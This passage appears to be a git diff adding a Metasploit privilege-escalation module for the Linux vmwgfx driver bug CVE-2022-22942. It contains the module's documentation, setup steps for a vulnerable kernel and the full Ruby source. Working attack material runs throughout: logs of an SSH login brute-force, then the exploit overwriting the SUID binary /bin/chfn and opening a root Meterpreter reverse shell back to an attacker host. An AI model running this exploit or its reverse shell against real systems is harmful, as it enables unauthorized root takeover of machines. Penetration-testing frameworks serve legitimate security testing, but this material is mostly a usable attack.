to +recover by deallocating the (already populated) file descriptor. This is +wrong, as the fd gets released via put_unused_fd() which shouldn't be used, +as the fd table slot was already populated via the previous call to +fd_install(). This leaves userland with a valid fd table entry pointing to +a free'd 'file' object. + +We use this bug to overwrite a SUID binary with our payload and gain root. +Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable. + +Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic. + +### Install + +To install a vulnerable kernel on Ubuntu 22.04.01, follow these instructions: + +1. Download the `linux-*` modules for a vulnerable kernel, such as https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.13.12/amd64/ +2. Install `libssl.1` (https://askubuntu.com/a/1403683) + 1. `echo "deb http://security.ubuntu.com/ubuntu focal-security main" | sudo tee /etc/apt/sources.list.d/focal-security.list` + 2. `sudo apt-get update` + 3. `sudo apt-get install libssl1.1` + 4. `sudo rm /etc/apt/sources.list.d/focal-security.list` +3. `sudo apt-get install build-essential` +4. `sudo dpkg -i *.deb` +5. Follow [these instructions](https://gist.github.com/chaiyujin/c08e59752c3e238ff3b1a5098322b363) to boot the vuln kernel +6. `sudo reboot` + +## Verification Steps + +1. Start msfconsole +2. Get an initial user shell +3. Do: `use linux/local/vmwgfx_fd_priv_esc` +4. Do: `set session [#]` +5. Do: `run` +6. You should get a root shell. + +## Options + +## Scenarios + +### Ubuntu 22.04.01 with kernel 5.13.12-051312-generic + +Gain initial user access + +``` +msf6 > use auxiliary/scanner/ssh/ssh_login +msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +msf6 auxiliary(scanner/ssh/ssh_login) > set username ubuntu +username => ubuntu +msf6 auxiliary(scanner/ssh/ssh_login) > set password ubuntu +password => ubuntu +msf6 auxiliary(scanner/ssh/ssh_login) > run + +[*] 1.1.1.1:22 - Starting bruteforce +[+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux ' +[*] SSH session 1 opened (2.2.2.2:40003 -> 1.1.1.1:22) at 2022-11-25 08:47:08 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1 +[*] Starting interaction with 1... + +id +uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) +^Z +Background session 1? [y/N] y +``` + +priv esc + +``` +msf6 auxiliary(scanner/ssh/ssh_login) > use linux/local/vmwgfx_fd_priv_esc +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set verbose true +verbose => true +msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set session 1 +session => 1 +msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set lhost 2.2.2.2 +lhost => 2.2.2.2 +msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > exploit + +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Kernel version 5.13.12-051312-generic appears to be vulnerable +[+] /dev/dri/card0 found writable +[+] /bin/chfn suid binary found +[+] The target appears to be vulnerable. vmwgfx installed +[+] Original /bin/chfn backed up to /root/.msf4/loot/20221125085335_default_1.1.1.1_binchfn_651737.bin +[+] gcc is installed +[*] Live compiling exploit on system... +[*] Max line length is 65537 +[*] Writing 10814 bytes in 1 chunks of 39254 bytes (octal-encoded), using printf +[*] Uploading payload to /tmp/.Qpm6q +[*] Writing '/tmp/.Qpm6q' (282 bytes) ... +[*] Max line length is 65537 +[*] Writing 282 bytes in 1 chunks of 843 bytes (octal-encoded), using printf +[*] Launching exploit... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045348 bytes) to 1.1.1.1 +[*] Replacing trojaned /bin/chfn with original +[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:38250) at 2022-11-25 08:54:14 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 1.1.1.1 +OS : Ubuntu 22.04 (Linux 5.13.12-051312-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb b/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb new file mode 100644 index 0000000000..69b335c8a1 --- /dev/null +++ b/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc', + 'Description' => %q{ + If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to + recover by deallocating the (already populated) file descriptor. This is + wrong, as the fd gets released via put_unused_fd() which shouldn't be used, + as the fd table slot was already populated via the previous call to + fd_install(). This leaves userland with a valid fd table entry pointing to + a free'd 'file' object. + + We use this bug to overwrite a SUID binary with our payload and gain root. + Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable. + + Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Mathias Krause' # original PoC, analysis + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ], + [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ], + [ 'CVE', '2022-22942' ] + ], + 'DisclosureDate' => '2022-01-28', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true + }, + 'Notes' => { + 'Stability' => [CRASH_OS_DOWN], + 'Reliability' => [REPEATABLE_SESSION], + # seeing "BUG: Bad page cache in process pfn:<5 characters>" on console + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + # Check the kernel version to see if its in a vulnerable range + release = kernel_release + unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') && + Rex::Version.new(release) < Rex::Version.new('5.17-rc1') + return CheckCode::Safe("Kernel version #{release} is not vulnerable") + end + + vprint_good "Kernel version #{release} appears to be vulnerable" + + @driver = nil + + if writable?('/dev/dri/card0') # ubuntu + @driver = '/dev/dri/card0' + elsif writable?('/dev/dri/renderD128') # debian + @driver = '/dev/dri/renderD128' + else + return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128') + end + vprint_good("#{@driver} found writable") + + @suid_target = nil + if setuid?('/bin/chfn') # ubuntu + @suid_target = '/bin/chfn' + elsif writable?('/bin/chage') # RHEL/Centos + @suid_target = '/bin/chage' + else + return CheckCode::Safe('Unable to write to /bin/chfn or /bin/chage') + end + vprint_good("#{@suid_target} suid binary found") + + vmwgfx = cmd_exec('modinfo vmwgfx | grep version') + if vmwgfx.include? 'version' + return CheckCode::Appears('vmwgfx installed') + end + + CheckCode::Safe('Vulnerable driver (vmwgfx) not found') + end + + def exploit + # Check if we're already root + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # backup the suid binary before we overwrite it + @suid_backup = read_file(@suid_target) + path = store_loot( + @suid_target, + 'application/octet-stream', + rhost, + @suid_backup, + @suid_target + ) + print_good("Original #{@suid_target} backed up to #{path}") + executable_name = ".#{rand_text_alphanumeric(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + + c_code = exploit_data('CVE-2022-22942', 'cve-2022-22942-dc.c') + c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called + c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target + c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload + + upload_and_compile executable_path, strip_comments(c_code) + register_files_for_cleanup(executable_path) + else + unless @suid_target == '/bin/chfn' + fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems') + end + vprint_status 'Dropping pre-compiled exploit on system...' + payload_path = '/tmp/.aYd3GAMlK' + upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled') + end + + # Upload payload executable + print_status("Uploading payload to #{payload_path}") + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(generate_payload_exe) + + print_status 'Launching exploit...' + output = cmd_exec executable_path, nil, 30 + output.each_line { |line| vprint_status line.chomp } + end + + # replace our suid target back to the original so we don't leave + def on_new_session(session) + super + if @suid_backup.nil? + print_bad("MANUAL replacement of trojaned #{@suid_target} is required.") + else + print_status("Replacing trojaned #{@suid_target} with original") + fd = session.fs.file.open(@suid_target, 'wb') + fd.write(@suid_backup) + fd.close + end + end +end